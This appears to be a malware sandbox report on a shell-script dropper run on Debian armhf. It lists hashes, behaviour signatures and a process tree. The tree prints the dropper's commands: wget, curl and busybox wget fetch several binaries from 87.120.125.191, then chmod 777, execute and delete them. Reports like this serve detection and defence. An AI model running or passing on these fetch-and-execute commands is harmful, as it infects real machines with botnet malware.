Analysis

  • max time kernel
    11s
  • max time network
    14s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    21/11/2024, 08:26

General

  • Target

    c9003c97407a9fa6047dc81cb2f622cc8dad75c7bb742523f2197a627c5b7459.sh

  • Size

    10KB

  • MD5

    761e2fa6cb02a9f2286c4b3ab9c366b1

  • SHA1

    7863ee6c6bde7cdd84e2ced24347237ff83ae4bf

  • SHA256

    c9003c97407a9fa6047dc81cb2f622cc8dad75c7bb742523f2197a627c5b7459

  • SHA512

    e89613581513d8fb590f845aaec4a5981010983317877dabfadeb2aaee5f12cb31beabd47fb65f091f8d5dd1f4fd5168ff11f7bd43badf191419f0c7bf77a24a

  • SSDEEP

    192:m5ZKXmXaXtGW47WK3BJ377AwjSeZ78Eoz3jOCI7DHSWOwOgOy5NK7dFIeYAw2EMn:antZiRQe/eY5

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Checks CPU configuration 1 TTPs 4 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 8 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/c9003c97407a9fa6047dc81cb2f622cc8dad75c7bb742523f2197a627c5b7459.sh
    /tmp/c9003c97407a9fa6047dc81cb2f622cc8dad75c7bb742523f2197a627c5b7459.sh
    1⤵
      PID:660
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://87.120.125.191/bins/sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV
          2⤵
            PID:668
          • /usr/bin/curl
            curl -O http://87.120.125.191/bins/sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:674
          • /bin/busybox
            /bin/busybox wget http://87.120.125.191/bins/sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV
            2⤵
              PID:682
            • /bin/chmod
              chmod 777 sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV
              2⤵
              • File and Directory Permissions Modification
              PID:685
            • /tmp/sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV
              ./sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV
              2⤵
              • Executes dropped EXE
              PID:686
            • /bin/rm
              rm sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV
              2⤵
                PID:688
              • /usr/bin/wget
                wget http://87.120.125.191/bins/jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ
                2⤵
                  PID:689
                • /usr/bin/curl
                  curl -O http://87.120.125.191/bins/jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:692
                • /bin/busybox
                  /bin/busybox wget http://87.120.125.191/bins/jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ
                  2⤵
                    PID:696
                  • /bin/chmod
                    chmod 777 jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ
                    2⤵
                    • File and Directory Permissions Modification
                    PID:697
                  • /tmp/jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ
                    ./jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ
                    2⤵
                    • Executes dropped EXE
                    PID:698
                  • /bin/rm
                    rm jmYbrtJZDjv0FGXbkbB84XH7fav5osHTpZ
                    2⤵
                      PID:699
                    • /usr/bin/wget
                      wget http://87.120.125.191/bins/uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV
                      2⤵
                        PID:700
                      • /usr/bin/curl
                        curl -O http://87.120.125.191/bins/uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:702
                      • /bin/busybox
                        /bin/busybox wget http://87.120.125.191/bins/uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV
                        2⤵
                          PID:703
                        • /bin/chmod
                          chmod 777 uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV
                          2⤵
                          • File and Directory Permissions Modification
                          PID:704
                        • /tmp/uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV
                          ./uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV
                          2⤵
                          • Executes dropped EXE
                          PID:705
                        • /bin/rm
                          rm uKJlke9KW7mGoZrkvxpfKBTYxGiTZMMjKV
                          2⤵
                            PID:706
                          • /usr/bin/wget
                            wget http://87.120.125.191/bins/FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi
                            2⤵
                              PID:707
                            • /usr/bin/curl
                              curl -O http://87.120.125.191/bins/FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:708
                            • /bin/busybox
                              /bin/busybox wget http://87.120.125.191/bins/FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi
                              2⤵
                                PID:709
                              • /bin/chmod
                                chmod 777 FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi
                                2⤵
                                • File and Directory Permissions Modification
                                PID:710
                              • /tmp/FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi
                                ./FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi
                                2⤵
                                • Executes dropped EXE
                                PID:711
                              • /bin/rm
                                rm FgLUXCNMPdOngJOMlWLfqqaHg1yfggiibi
                                2⤵
                                  PID:712
                                • /usr/bin/wget
                                  wget http://87.120.125.191/bins/mfkqxuRQZ8jcEQLo2T9kpSkGYT7qbxWFgz
                                  2⤵
                                    PID:713

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/sTJAQQD7koO7wNCw8Ik1fcKNKW5R9gsYFV

                                  Filesize

                                  153B

                                  MD5

                                  998368d7c95ea4293237f2320546e440

                                  SHA1

                                  30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                  SHA256

                                  533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                  SHA512

                                  648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97